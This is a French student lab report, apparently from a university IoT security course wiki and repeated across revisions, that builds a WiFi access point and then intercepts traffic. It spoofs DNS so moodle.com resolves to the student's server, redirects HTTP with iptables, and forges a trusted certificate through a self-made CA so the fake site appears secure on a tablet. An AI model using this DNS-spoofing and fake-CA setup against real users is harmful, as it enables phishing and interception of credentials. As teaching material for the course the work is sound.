= Sécurisation WiFi par WPA2-PSK =&lt;br /&gt;
&lt;br /&gt;
Pour communiquer avec le routeur &amp;lt;code&amp;gt;Cisco&amp;lt;/code&amp;gt;, on branche le port série en USB et on se connecte avec la commande &amp;lt;code&amp;gt;minicom -D /dev/ttyUSB0 -b 9600&amp;lt;/code&amp;gt;. La première étape fut la création du SSID &amp;lt;code&amp;gt;SE5-SSID10&amp;lt;/code&amp;gt;.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
dot11 ssid SE5-SSID10&lt;br /&gt;
&lt;br /&gt;
vlan 410&lt;br /&gt;
&lt;br /&gt;
authentication open&lt;br /&gt;
&lt;br /&gt;
authentication key-management wpa version 2&lt;br /&gt;
&lt;br /&gt;
wpa-psk ascii Cisco2025&lt;br /&gt;
&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Puis, on configure l'interface &amp;lt;code&amp;gt;Dot11Radio0&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
interface dot11radio 0&lt;br /&gt;
&lt;br /&gt;
encryption mode ciphers aes-ccm&lt;br /&gt;
&lt;br /&gt;
ssid SE5-SSID10&lt;br /&gt;
&lt;br /&gt;
station-role root&lt;br /&gt;
&lt;br /&gt;
no shutdown&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Après cela, on retourne sur notre serveur virtuel et on y implémente un serveur DHCP pour l'attribution des IP aux machines se connectant sur le routeur. On retrouve cette configuration dans &amp;lt;code&amp;gt;/etc/dhcp/dhcpd.conf&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
# dhcpd.conf&lt;br /&gt;
&lt;br /&gt;
option domain-name &amp;quot;plil.info&amp;quot;;&lt;br /&gt;
option domain-name-servers ns.plil.info;&lt;br /&gt;
&lt;br /&gt;
default-lease-time 600;&lt;br /&gt;
max-lease-time 7200;&lt;br /&gt;
&lt;br /&gt;
ddns-update-style none;&lt;br /&gt;
&lt;br /&gt;
authoritative;&lt;br /&gt;
&lt;br /&gt;
subnet 172.16.10.0 netmask 255.255.255.0 {&lt;br /&gt;
  range 172.16.10.100 172.16.10.200;&lt;br /&gt;
  option domain-name-servers 172.16.10.1;&lt;br /&gt;
  option routers 172.16.10.1;&lt;br /&gt;
  default-lease-time 600;&lt;br /&gt;
  max-lease-time 7200;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis, on implémente un serveur DNS minimal dans le fichier &amp;lt;code&amp;gt;/etc/bind/named.conf.options&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
options {&lt;br /&gt;
        directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
        recursion yes;&lt;br /&gt;
        allow-query {172.16.10.0/24; 127.0.0.1;};&lt;br /&gt;
&lt;br /&gt;
         forwarders {&lt;br /&gt;
                8.8.8.8;&lt;br /&gt;
                1.1.1.1;&lt;br /&gt;
         };&lt;br /&gt;
&lt;br /&gt;
        dnssec-validation auto;&lt;br /&gt;
&lt;br /&gt;
        listen-on {127.0.0.1; 172.16.10.1;};&lt;br /&gt;
        listen-on-v6 { none; };&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et enfin, on met en place une mascarade entre le VLAN 410 et le routeur du réseau des salles de projets pour donner l'accès à Internet.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
  385  133K MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
    0     0 MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Interception de flux (30/09) =&lt;br /&gt;
&lt;br /&gt;
== Redirection par DNS ==&lt;br /&gt;
Pour cette partie, on va ajouter une zone primaire à notre serveur DNS avec le nom Internet du site que l'on veut rediriger vers notre machine.&lt;br /&gt;
&lt;br /&gt;
Ici, ce sera le merveilleux &amp;lt;code&amp;gt;moodle.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
D'abord, on modifie &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;moodle.com&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.moodle.com&amp;quot;;&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis, on crée la fameuse zone &amp;lt;code&amp;gt;db.moodle.com&amp;lt;/code&amp;gt; dans le même répertoire &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
$TTL    200&lt;br /&gt;
@       IN      SOA     ns.moodle.com. admin.moodle.com. (&lt;br /&gt;
                        5       ;&lt;br /&gt;
                        3600    ;&lt;br /&gt;
                        1800    ;&lt;br /&gt;
                        604800  ;&lt;br /&gt;
                        86400   ;&lt;br /&gt;
)&lt;br /&gt;
        IN      NS      ns.moodle.com.&lt;br /&gt;
ns      IN      A       172.16.10.1&lt;br /&gt;
@       IN      A       172.16.10.1&lt;br /&gt;
www     IN      CNAME   ns&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour vérifier si notre configuration est correcte, on exécute ces deux commandes :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo named-checkconf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo named-checkzone moodle.com /etc/bind/db.moodle.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Redirection réseau ==&lt;br /&gt;
Dans cette partie, on ajoute une règle &amp;lt;code&amp;gt;iptables&amp;lt;/code&amp;gt; pour rediriger le flux TCP vers un port local, le &amp;lt;code&amp;gt;8080&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;iptables -t nat -A PREROUTING -i eth0  -p tcp --dport 80 -j REDIRECT --to-ports 8080&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
    0     0 REDIRECT   6    --  eth0   *       0.0.0.0/0            0.0.0.0/0            tcp dpt:80 redir ports 8080&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
  385  133K MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
    0     0 MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Serveur apache sécurise (04/10) ==&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on va créer un certificat auto-signé :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -x509 -nodes -days 365   -newkey rsa:2048   -keyout /etc/ssl/apache/apache-selfsigned.key   -out /etc/ssl/apache/apache-selfsigned.crt   -subj &amp;quot;/C=FR/ST=Nord/L=Lille/O=Popo/CN=moodle.com&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis, on configure &amp;lt;code&amp;gt;Apache2&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
  GNU nano 7.2      /etc/apache2/sites-available/secure-site.conf&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
    ServerName moodle.com&lt;br /&gt;
&lt;br /&gt;
    DocumentRoot /var/www/html&lt;br /&gt;
&lt;br /&gt;
    SSLEngine on&lt;br /&gt;
    SSLCertificateFile /etc/ssl/apache/apache.crt&lt;br /&gt;
    SSLCertificateKeyFile /etc/ssl/apache/apache.key&lt;br /&gt;
&lt;br /&gt;
    # Optionnel : log&lt;br /&gt;
    ErrorLog ${APACHE_LOG_DIR}/ssl-error.log&lt;br /&gt;
    CustomLog ${APACHE_LOG_DIR}/ssl-access.log combined&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Redirection HTTP  ^f^r HTTPS&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
    ServerName moodle.com&lt;br /&gt;
    Redirect permanent / https://moodle.com/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Maintenant, en prévision de la suite (voir explication dans Machine virtuelle Android), on va créer une autorité de certification nommée CertiFiable :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -x509 -new -nodes -keyout ca.key -sha256 -days 365 -out ca.crt -subj &amp;quot;/CN=CertiFiable&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis, on vient générer une demande de signature de certificat :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -new -newkey rsa:2048 -nodes -keyout apache.key -out apache.csr -subj &amp;quot;/CN=moodle.com&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin, on vient signer le site avec le certificat de CertiFiable :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl x509 -req -in apache.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out apache.crt -days 365 -sha256&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Machine virtuelle &amp;lt;code&amp;gt;android&amp;lt;/code&amp;gt; =&lt;br /&gt;
&lt;br /&gt;
== Première tentative ==&lt;br /&gt;
Actuellement, si on navigue sur internet et que l'on se rend sur moodle.com, on atterrit bien sûr le faux Moodle, mais comme le téléphone ne connait pas l'autorité de certification nommé CertiFiable, on a le droit à ce magnifique message de connexion non sécurisée :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Avertissement moodle.png|sans_cadre]][[Fichier:Moodle le magnifique.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Malheureusement, il est aujourd'hui impossible d'ajouter facilement une autorité de certification sur son téléphone.&lt;br /&gt;
&lt;br /&gt;
C'est pour cela qu'une solution proposée est d'installer une machine virtuelle d'une ancienne version d'&amp;lt;code&amp;gt;Android&amp;lt;/code&amp;gt; où il était possible d'en ajouter.&lt;br /&gt;
&lt;br /&gt;
En ayant suivi ce tuto (https://help.clouding.io/hc/en-us/articles/4405454393756-How-to-virtualize-Android-with-QEMU-KVM), j'ai réussi à installer une VM sur Zabeth4 (j'ai dû prendre une autre iso car celle du site était inaccessible). &lt;br /&gt;
&lt;br /&gt;
J'ai installé &amp;lt;code&amp;gt;VNC Viewer&amp;lt;/code&amp;gt; pour pouvoir manipuler la machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
En étant sur la VM, j'ai pu me rendre compte qu'il n'était pas possible de se connecter au WiFi, c'est la connexion du pc qui est simulé comme un réseau WiFi dans la VM.&lt;br /&gt;
&lt;br /&gt;
J'ai pu réfléchir à deux solutions avant que la VM ne crash d'elle-même et soit impossible à redémarrer...&lt;br /&gt;
&lt;br /&gt;
La première est toute simple, connecter la Zabeth directement au WiFi, ce qui est difficile à distance. La seconde, qui est je pense possible, est de changer la carte réseau dans les fichiers de conf de la VM pour mettre celle supportant le WiFi.&lt;br /&gt;
&lt;br /&gt;
Je n'ai donc pu tester aucune de ces deux solutions, la VM n'étant plus.&lt;br /&gt;
&lt;br /&gt;
== Seconde tentative ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
qemu-system-x86_64 -net nic -net user -m 1024 -enable-kvm -display sdl -drive file=android.img,format=raw&lt;br /&gt;
&lt;br /&gt;
qemu-system-x86_64 -net nic -net user -m 1024 -enable-kvm -display sdl -drive file=android.img,format=raw -cdrom *android-x86*.iso -boot d&lt;br /&gt;
&lt;br /&gt;
qemu-system-x86_64     -m 2048     -enable-kvm     -cpu host     -smp 2     -display sdl     -drive file=android.img,format=raw,if=virtio     -usb     -device usb-host,vendorid=0x148f,productid=0x5370&lt;br /&gt;
&lt;br /&gt;
== Ultime tentative ==&lt;br /&gt;
//TO DO Ajouter méthode routage android Android studio.&lt;br /&gt;
&lt;br /&gt;
= Machine &amp;lt;code&amp;gt;android&amp;lt;/code&amp;gt; (06/10) =&lt;br /&gt;
Pour cette dernière partie, j'ai retrouvé une tablette sous &amp;lt;code&amp;gt;Android 4.4 KitKat&amp;lt;/code&amp;gt; qui permet d'ajouter des autorités de certification.&lt;br /&gt;
&lt;br /&gt;
C'est donc ce que j'ai fait :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Photo_certifiable.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
Maintenant, on constate en se connectant sur moodle.com à partir de cette tablette que l'on est bien redirigé vers le faux site et qu'il est sécurisé avec le magnifique cadenas vert.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Photo moodle.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
(cette page web date du 06/10/25, elle n'est plus valable depuis le 10/10/25...)&lt;/div&gt;</summary>
		<author><name>Vdetrez</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b1&amp;diff=10726</id>
		<title>SE5 IdO sécurité des objets 2025/2026 b1</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b1&amp;diff=10726"/>
		<updated>2025-11-03T16:57:13Z</updated>

		<summary type="html">&lt;p&gt;Vdetrez : /* Machine virtuelle android */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Fichier:1107px-Titre page.png|sans_cadre|820x820px]]&lt;br /&gt;
&lt;br /&gt;
= Serveur virtuel (17/09) =&lt;br /&gt;
Dans un premier temps, on vient créer un serveur virtuel sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; avec la commande &amp;lt;code&amp;gt;xen-create-image --hostname=SE5.vdetrez --dhcp --dir=/usr/local/xen --size=10G --memory=2G --dist=daedalus --bridge=bridgeStudents&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, sur capbreton dans le dossier &amp;lt;code&amp;gt;/etc/network/interfaces.d&amp;lt;/code&amp;gt; on vient créer un fichier &amp;lt;code&amp;gt;g1_vdetrez&amp;lt;/code&amp;gt; pour mettre en place une nouvelle interface dans le VLAN 410.  &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
auto Trunk.410&lt;br /&gt;
iface Trunk.410 inet manual&lt;br /&gt;
        vlan-raw-device Trunk&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
auto g1_vdetrez&lt;br /&gt;
iface g1_vdetrez inet manual&lt;br /&gt;
	bridge_ports Trunk.410&lt;br /&gt;
	up ip link set $IFACE up &lt;br /&gt;
	down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On a maintenant accès à la machine SE5.vdetrez (en ayant évidemment fait l'erreur de mettre &amp;quot;.&amp;quot; à la place de &amp;quot;-&amp;quot;) et on vient y configurer nos adresses IPv4.&lt;br /&gt;
&lt;br /&gt;
Mon adresse IPv4 routée est la &amp;lt;code&amp;gt;172.26.145.100&amp;lt;/code&amp;gt; et mon IPv4 dans le VLAN 410 est &amp;lt;code&amp;gt;172.16.10.0&amp;lt;/code&amp;gt; &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
# This file describes the network interfaces available on your system&lt;br /&gt;
# and how to activate them. For more information, see interfaces(5).&lt;br /&gt;
&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# The primary network interface&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
	address 172.26.145.110&lt;br /&gt;
	netmask 255.255.255.0&lt;br /&gt;
	gateway 172.26.145.251&lt;br /&gt;
# post-up ethtool -K eth0 tx off&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
	address 172.16.10.0/24&lt;br /&gt;
#&lt;br /&gt;
# The commented out line above will disable TCP checksumming which&lt;br /&gt;
# might resolve problems for some users.  It is disabled by default&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On vérifie avec la commande &amp;lt;code&amp;gt;ip a&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:23:74:41 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 172.26.145.110/24 brd 172.26.145.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 2001:660:4401:6050:216:3eff:fe23:7441/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 853sec preferred_lft 753sec&lt;br /&gt;
    inet6 2a01:c916:2047:c850:216:3eff:fe23:7441/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 2591853sec preferred_lft 604653sec&lt;br /&gt;
    inet6 fe80::216:3eff:fe23:7441/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:23:74:42 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 172.16.10.0/24 brd 172.16.10.255 scope global eth1&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fe23:7442/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on constate que notre serveur a accès à Internet avec la commande &amp;lt;code&amp;gt;ping 8.8.8.8&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Point d'accès WiFi (29/09) =&lt;br /&gt;
Pour l'instant, nous mettons de côté ce point du TP car il n'est pas utile pour la suite.&lt;br /&gt;
&lt;br /&gt;
= Sécurisation WiFi par WPA2-PSK =&lt;br /&gt;
&lt;br /&gt;
Pour communiquer avec le routeur &amp;lt;code&amp;gt;Cisco&amp;lt;/code&amp;gt;, on branche le port série en USB et on se connecte avec la commande &amp;lt;code&amp;gt;minicom -D /dev/ttyUSB0 -b 9600&amp;lt;/code&amp;gt;. La première étape fut la création du SSID &amp;lt;code&amp;gt;SE5-SSID10&amp;lt;/code&amp;gt;.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
dot11 ssid SE5-SSID10&lt;br /&gt;
&lt;br /&gt;
vlan 410&lt;br /&gt;
&lt;br /&gt;
authentication open&lt;br /&gt;
&lt;br /&gt;
authentication key-management wpa version 2&lt;br /&gt;
&lt;br /&gt;
wpa-psk ascii Cisco2025&lt;br /&gt;
&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Puis, on configure l'interface &amp;lt;code&amp;gt;Dot11Radio0&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
interface dot11radio 0&lt;br /&gt;
&lt;br /&gt;
encryption mode ciphers aes-ccm&lt;br /&gt;
&lt;br /&gt;
ssid SE5-SSID10&lt;br /&gt;
&lt;br /&gt;
station-role root&lt;br /&gt;
&lt;br /&gt;
no shutdown&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Après cela, on retourne sur notre serveur virtuel et on y implémente un serveur DHCP pour l'attribution des IP aux machines se connectant sur le routeur. On retrouve cette configuration dans &amp;lt;code&amp;gt;/etc/dhcp/dhcpd.conf&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
# dhcpd.conf&lt;br /&gt;
&lt;br /&gt;
option domain-name &amp;quot;plil.info&amp;quot;;&lt;br /&gt;
option domain-name-servers ns.plil.info;&lt;br /&gt;
&lt;br /&gt;
default-lease-time 600;&lt;br /&gt;
max-lease-time 7200;&lt;br /&gt;
&lt;br /&gt;
ddns-update-style none;&lt;br /&gt;
&lt;br /&gt;
authoritative;&lt;br /&gt;
&lt;br /&gt;
subnet 172.16.10.0 netmask 255.255.255.0 {&lt;br /&gt;
  range 172.16.10.100 172.16.10.200;&lt;br /&gt;
  option domain-name-servers 172.16.10.1;&lt;br /&gt;
  option routers 172.16.10.1;&lt;br /&gt;
  default-lease-time 600;&lt;br /&gt;
  max-lease-time 7200;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis, on implémente un serveur DNS minimal dans le fichier &amp;lt;code&amp;gt;/etc/bind/named.conf.options&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
options {&lt;br /&gt;
        directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
        recursion yes;&lt;br /&gt;
        allow-query {172.16.10.0/24; 127.0.0.1;};&lt;br /&gt;
&lt;br /&gt;
         forwarders {&lt;br /&gt;
                8.8.8.8;&lt;br /&gt;
                1.1.1.1;&lt;br /&gt;
         };&lt;br /&gt;
&lt;br /&gt;
        dnssec-validation auto;&lt;br /&gt;
&lt;br /&gt;
        listen-on {127.0.0.1; 172.16.10.1;};&lt;br /&gt;
        listen-on-v6 { none; };&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et enfin, on met en place une mascarade entre le VLAN 410 et le routeur du réseau des salles de projets pour donner l'accès à Internet.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
  385  133K MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
    0     0 MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Interception de flux (30/09) =&lt;br /&gt;
&lt;br /&gt;
== Redirection par DNS ==&lt;br /&gt;
Pour cette partie, on va ajouter une zone primaire à notre serveur DNS avec le nom Internet du site que l'on veut rediriger vers notre machine.&lt;br /&gt;
&lt;br /&gt;
Ici, ce sera le merveilleux &amp;lt;code&amp;gt;moodle.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
D'abord, on modifie &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;moodle.com&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.moodle.com&amp;quot;;&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis, on crée la fameuse zone &amp;lt;code&amp;gt;db.moodle.com&amp;lt;/code&amp;gt; dans le même répertoire &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
$TTL    200&lt;br /&gt;
@       IN      SOA     ns.moodle.com. admin.moodle.com. (&lt;br /&gt;
                        5       ;&lt;br /&gt;
                        3600    ;&lt;br /&gt;
                        1800    ;&lt;br /&gt;
                        604800  ;&lt;br /&gt;
                        86400   ;&lt;br /&gt;
)&lt;br /&gt;
        IN      NS      ns.moodle.com.&lt;br /&gt;
ns      IN      A       172.16.10.1&lt;br /&gt;
@       IN      A       172.16.10.1&lt;br /&gt;
www     IN      CNAME   ns&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour vérifier si notre configuration est correcte, on exécute ces deux commandes :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo named-checkconf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo named-checkzone moodle.com /etc/bind/db.moodle.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Redirection réseau ==&lt;br /&gt;
Dans cette partie, on ajoute une règle &amp;lt;code&amp;gt;iptables&amp;lt;/code&amp;gt; pour rediriger le flux TCP vers un port local, le &amp;lt;code&amp;gt;8080&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;iptables -t nat -A PREROUTING -i eth0  -p tcp --dport 80 -j REDIRECT --to-ports 8080&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
    0     0 REDIRECT   6    --  eth0   *       0.0.0.0/0            0.0.0.0/0            tcp dpt:80 redir ports 8080&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
